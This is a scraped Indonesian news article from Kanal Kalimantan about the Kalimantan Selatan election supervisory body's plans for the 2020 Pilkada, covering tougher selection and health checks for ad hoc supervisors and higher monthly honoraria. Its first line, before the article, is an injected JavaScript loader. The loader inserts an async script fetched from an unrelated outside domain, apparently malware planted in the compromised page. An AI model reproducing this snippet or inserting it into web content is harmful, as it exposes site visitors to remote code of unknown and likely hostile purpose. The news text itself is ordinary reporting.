(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Tantangan Pilkada 2020 di Kalsel diprediksi lebih kompleks dibandingkan Pemilu 2019 lalu. Terkait hal ini, Bawaslu Kalsel pun akan melakukan penyesuaian dengan memperketat kualifikasi Sumber Daya Manusia (SDM) Pengawas Adhoc di tingkat kecamatan, hingga kelurahan dan desa. Di sisi lain, tunjagan kehormatan bagi pengawas pun akan dinaikkan.
Hal tersebut sebagaimana ditegaskan Komisioner Bawaslu Bidang SDM dan Organisasi Iwan Setiawan. “Tentu akan dicari pengawas yang kuat khususnya dari sisi mental agar tidak mudah goyah pada tekanan politik. Hal ini demi menjaga integritasnya pengawas dalam bekerja,” tegas Iwan.
Ia mengatakan, aspek Pilkada memiliki dimensi berbeda dengan Pemilu 2019 karena medan pertarungan secara langsung terjadi di daerah. Jika pada pemilu, bisa jadi pusaran kegiatan lebih menyebar karena meliputi kegiatan yang terselenggara di berbagai tingkatan. Baik untuk pemilu legislatif di DPRD kabupaten/kota, DPRD Provinsi, DPR RI, hingga DPD dan Pilpres.
Walhasil, masyarakat masih menganggap hal tersebut tidak menyentuh secara langsung dalam aspek politik dan kebijakan secara langsung. Tentu berbeda dengan Pilkada, dimana tokoh yang tampil dalam pencalonan jika nanti terpilih akan memimpin daerah dan menentukan prioritas kerja di tingkat provinsi dan kabupaten/kota.
“Kami memang tidak berharap akan adanya kasus tekanan terhadap petugas pengawas di lapangan. Tapi tentunya iklim Pilkada yang kemungkinan akan berlangsung panas, perlu di antisipasi dengan menyiapkan SDM yan lebih tangguh,†ungkapnya.
Tak hanya dari sisi mental, namun Bawaslu Kalsel juga akan mempertimbangkan aspek kesehatan petugas pengawas di lapangan. Hal tersebut belajar dari kasus Pemilu 2019 lalu, dimana banyak korban yang tumbang karena aspek kelelahan. Baik yang meninggal, maupun sakit.
Dan tentunya, Iwan saat ini juga tengah mengupayakan peningkatan uang kehormatan bagi pengawas ad hov untuk Pilkada nanti. Hal tersebut juga berdasarkan arahan dari Bawaslu RI. “Pada Pilkada 2020 termasuk di Kalsel, nantinya setiap jenjang pengawas akan menerima uang kehormatan yang lebih besar dibanding Pemilu 2019,†teranagnya.
Iwan mengusulkan, Panitia Pengawas Kecamatan (Panwascam) diperkirakan akan menerima uang kehormatan sebesar di kisaran angka Rp 2,5 juta perbulan dibanding sebelumnya Rp 1,6 juta. Sedangkan untuk Pengawas Pemilu tingkat desa/kelurahan sebesar Rp 1,5 juta dari sebelumnya kurang lebih Rp 900 ribu. “Termasuk juga nanti kami berupaya meningkatkan gaji pengawas di tingkat TPS,†katanya.
Sebegaimana diketahui, masa jabatan pengawas ad hoc Pemilu 2019 akan berakhir pertengahan tahun 2019. Terkait hal ini, Bawaslu Kalsel akan melakukan rekrutmen kurang lebih pada triwulan pertama 2020. “Rekrutmen akan dilakukan bertahap mulai dari Panwascam, Pengawas Kelurahan/Desa baru sebulan menjelang hari H pungut hitung Pilkada 2020,” terangnya.(cell)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.